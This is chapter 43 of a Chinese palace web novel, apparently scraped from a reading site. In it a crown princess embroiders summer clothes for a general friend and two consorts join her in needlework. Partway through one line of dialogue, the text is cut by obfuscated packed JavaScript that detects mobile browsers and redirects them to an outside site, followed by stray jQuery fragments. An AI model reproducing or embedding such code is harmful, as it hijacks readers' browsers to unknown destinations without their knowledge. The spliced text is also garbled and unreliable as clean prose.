43. 闲刺绣
作品:《君妇升职手札》 元嘉头天吃了酒,第二日又起早送燕景祁出门,放松下来后,整个人都有些恹恹。
随意捡了碟子里的几块点心就着茶水吃掉,元嘉一时兴味索然。见窗外枝叶扶疏,正是一片好景色,心情略回转了些,扭头唤过盼春,便要将杌凳摆到树下。
盼春几人哪敢让元嘉这样随意,又是搬圈椅,又是挪案几,怕元嘉蜷着身子不舒服,还放了个脚凳在椅前,最后将毡条一铺,另换了壶新茶,这才请元嘉落座。
“女君这是要绣什么?”
红玉得了吩咐,在里屋靠窗的柜子边上,找到了这件未绣完的布料,又小心递给了元嘉。
元嘉正选着绣线,迎着日光比了又比,好一会儿才选定了颜色。见红玉过来,抬手接过绣绷,随意起了几针,这才开口──
“给欧阳将军做的夏衣,之前已做了大半,只前段日子总不得空,便收起来了……眼瞧着都入夏了,可不能再耽搁了。”
元嘉嘴上解释两句,手下动作却不停。一开始还有些僵滞,几针过后,便开始飞针走线起来。
倪娉柔和刘婵过来之时,见到的便是这副景象。
“问太子妃安!”
元嘉正聚精会神地绣着,兀的听到一声熟悉的呼唤,忙几针收了脚,笑着抬头。
“来贵客了!”
看清楚来人模样后,元嘉连忙将绣绷放在一边,起身迎道:“快进来!”
倪娉柔也不客气,笑嘻嘻地挽过元嘉手臂,却不往里屋去,反而停在了元嘉之前坐着的地方。
“妾身两个唐突来扰,哪能再让您陪着往里屋去,”倪娉柔左右看了看,“若您不嫌,便叫妾身们在这花树底下与您做个伴。”
元嘉指着倪娉柔冁然一笑,还来不及说话,红玉与盼春便会意地另搬了两个圈椅出来,布置妥帖后躬身退下,将这方天地留给元嘉三人。
“原是我突然起兴,你们便将就坐会儿吧”。元嘉朝刘婵一点头,又拉过倪娉柔,将她摁在椅子上,另斟了热茶递到前者手边,“你昨日怕是吃醉了酒,不好好养着,怎的还有精力过来寻我?”
倪娉柔笑着接过,“有您送来的醒酒汤,我昨夜睡得可好了,今早起来神清气爽,所以特来谢您的。”
刘婵坐在另一侧,顺着倪娉柔的话又道:“本以为要让膳房重新起灶,哪想芝兰过去的时候,正好遇上敛秋遣人往竹香馆去,这才省了一顿工夫。”
元嘉看了两人几眼,而后了然般一点头,“看来阿柔昨夜是歇在你的竹香馆了,也不知她酒品如何,可有闹着你?”
“……谁醉了!”
倪娉柔顿时不依,“我只是困了懒得走动,这才请刘姊姊收留一晚。就那点子果酒,哪能醉倒我!”
元嘉与刘婵相视一笑,本想再说些什么,却又在称呼上犯了难。后者自然也看出来了,微微一笑,“我年长阿柔几岁,所以她唤我一声姊姊,女君若是不嫌弃,便唤我素娥如何?”
“……素娥?”
刘婵笑着点头,眼中尤带三分缅怀之色,“我名中带婵,乃是取婵娟之意。素娥是月宫的仙子,家母病笃之时,替我取了这个小字,希望我这轮圆月能得天上女仙看顾,无病无灾。”
“姊姊的娘亲定是做了素娥女仙,如今日日护着姊姊和姊姊的孩子呢!”
倪娉柔见刘婵似有感伤,连忙安慰道。
刘婵不由失笑,轻拧了一下倪娉柔脸颊,嗔怪道:“呸呸呸,哪能这样议论神佛!”
元嘉顺势转了话头,“我不曾有过小字,素娥便也唤我元娘吧。”
刘婵眉笑眼舒,自是无有不应。
倪娉柔跟着笑闹了几句,余光瞧见元嘉放在一旁的绣绷,猛地想起进来时看到的场景,下意识道:“元娘这是要给太子绣物件儿?”
元嘉惊讶地望了人几眼,见她一副失言懊恼的模样,哑然失笑,拿过绣绷便递到倪娉柔手上,示意她自己端看。
倪娉柔茫然接过,垂下眼睑,又左右翻看了几下,顿时有些讪讪,“我、我娘以前也会时不时绣些物件让我爹带在身上,我、我就以为……”
话没说完,自己倒先哎呀一声,手作握拳状敲了几下额头,把绣绷递了回去,“都是我的不是,还请太子妃不要见怪!”
一副懊恼至极的样子。
“这里又没有旁人,你做甚又叫我太子妃?”元嘉打趣道,见眼前人似乎真怕自己生了气,不免放缓了语气,“我没生气,真的。”
闻言,倪娉柔又细细观察了元嘉的神色,见她确是一切如常,一颗心才落下大半。
元嘉抚了抚绣面,将针拨下又开始动作起来,口中道:“不说太子,便是咱们几个,谁的衣物不是六尚局的做好了送过来。我的技法再好,也难及宫里的绣娘。所以,便不做那无用功了。”
如此解释了一番,倪娉柔才算是彻底安心,态度也恢复了之前的随意。刘婵也瞧了那绣绷子几眼,见款式图案皆不似男子样式,奇怪道:“元娘莫不是在给自己绣衣裳?”
只是才刚说完,便又自我否认般摇了头──元嘉才说过不做无用功,又怎么会给自己做衣裳呢?
“这天气是越来越热了,我赶着给沁姊姊把夏衣做好,趁她还在上京的时候送过去。”
元嘉换了个颜色,比划了两下,继续落针,空隙间瞧见两人有些迷惘的表情,又解释了一句,“便是欧阳将军。”
二人这才恍然。
“元娘动作如此娴熟,想是给欧阳将军做过不少衣裳了。”
刘婵瞧了一会儿,突然道。
“素娥好眼力。”
元嘉放慢了落针的速度,一边继续往布料上绣着花样,一边回答道:“我与欧阳将军少时相识,从她去边城驻军时起,便每年做些东西托人带过去。起初技法生疏,只做得了荷包香囊,后来跟了师傅,学的东西多了,便也开始做腰带靴履了……“
“可我动作实在是慢,”元嘉说着说着,露出几分难为情的笑,“从前夸下海口,说要每年给她做够四季衣裳,如今却也只能保证一年一套,另随些小物件罢了。”
“朝廷不是每年都会分发军衣和其他补给给戍边的将士们吗?”
倪娉柔不解道。
“……打仗苦的很呢。”
元嘉垂目一笑,只说了这一句,再不做其他解释。
刘婵倒似听出了什么未尽之意,伸手拿过元嘉放在一旁的未用的丝线,左右翻看了几下,又轻巧地用指尖勾出一缕,“我倒是记得,欧阳将军手下,还有一支几千人的女兵。”
元嘉顿了一下,又像是什么也没发生般继续动作,只轻轻从喉咙深处嗯了一声。
“元娘可还有未做完的针线?我刺绣技艺寻常,但一般的针线活还是拿得出手的。元娘若是不嫌弃,便让我也搭一把手,虽做不出什么漂亮衣裳,但这时节,做些驱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016996|154513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蚊虫的香囊还是可以的。”
刘婵摩挲着指尖的丝线,忽而道。
元嘉将注意力从布料上移开,又诧异地看了眼刘婵,见她正笑着等待自己开口,也不由得露出一抹浅笑,而后扬声唤人。
倪娉柔见两人似是达成了什么默契般彼此心照不宣,眼中更是困惑,但很快被要做针线活的愁色冲散。
“我针线工夫实在见不得人,可还有其他地方能帮上忙的?”
倪娉柔此话倒没掺假。她自己出身书香门第,琴棋书画无一不精,却唯独在刺绣一门上缺了一窍,做出的东西虽也能看,却无法细观,跟了不知多少个师傅,也没能学出好歹,后来,连给自己绣东西也不愿意了。
元嘉正和盼春说着话,闻言又凑近后者耳畔说了句什么,见她笑着点头,这才放人离去。
“我手上的活计做得差不多了……可否再劳素娥替我做些香囊?到时一并送去欧阳府,待沁姊姊回了边城,挂在帐外,平日里也能够睡得好些。”
刘婵自是答应,倪娉柔却显得有些左右为难──她实在对自己的针线活没有自信,但也为自己因此帮不上元嘉的忙而泄气。
元嘉看在眼里,却是等盼春领着红玉拿了一堆东西过来,才冲着倪娉柔粲然一笑,“我这儿虽不缺人了,可你若还得空,要不要帮帮阿沅?”
“……阿沅?”
元嘉没有解释,只是先将零散的布料递给刘婵,而后又取过一方绣帕递到倪娉柔的手里。
倪娉柔接过来随意看了两眼,发出一声惊诧的低呼,不敢相信般揉了揉自己的眼睛,又来回翻动着,像是在确认些什么。
“……若非我清楚自己没在太子府动过针线,否则定会以为这是我从前绣的了。”倪娉柔摇头叹气一番,而后突然反应过来,“这、这不会是阿沅绣的吧?”
元嘉眼中闪过一丝笑意,“若我没记错,这帕子应是她去年绣的。”
倪娉柔突然高兴起来,又拿过绣帕来回翻看着,越看嘴边笑意越大,“这世上总算是有和我一样苦于刺绣的人了。”
“靖安郡主极擅纭裥绣,”元嘉笑着解释,“偏阿沅于此道不精,不管郡主如何教导,愣是一点皮毛也学不会。如今便换成由刺绣师傅教授功课了,一幅不行,便绣十幅,绣得多了,总有一个是能见人的。”
刘婵接过布料,正就着之前的丝线挑选颜色,闻言瞥了那绣帕几眼,亦是笑弯了眼,“柳娘子这绣艺确实与娉柔不相上下……元娘莫不是想让娉柔帮着绣上几方,以备柳娘子不时之需?”
“确有此意。”元嘉无奈点头,“这东西于阿沅,既不擅长,也不喜欢,让她坐在绣架前动针线,简直跟要了她的命一般。可若完不成功课,又一定会挨靖安郡主的训……这也是没有办法的办法了。”
“我还记得有一次,为了绣好一幅花鸟图,阿沅被靖安郡主关在屋子里整整一个月,好容易绣完了给放出来,整个人颓丧的不行,被宿国公带到京郊痛玩了一大圈才好起来。”
倪娉柔在一旁听着,颇有感同身受之意,又随着元嘉的话不住点头,“叫阿沅放心,这帕子我替她绣了,管叫靖安郡主瞧不出是第二个人做的!”
说罢,便另寻了块料子,细细比照着绣帕上的针法,动起手来。
元嘉与刘婵相视而笑,又默契地低下头做起自己的事来。一时间,长春馆静得出奇,只有风吹过树叶发出的簌簌轻响。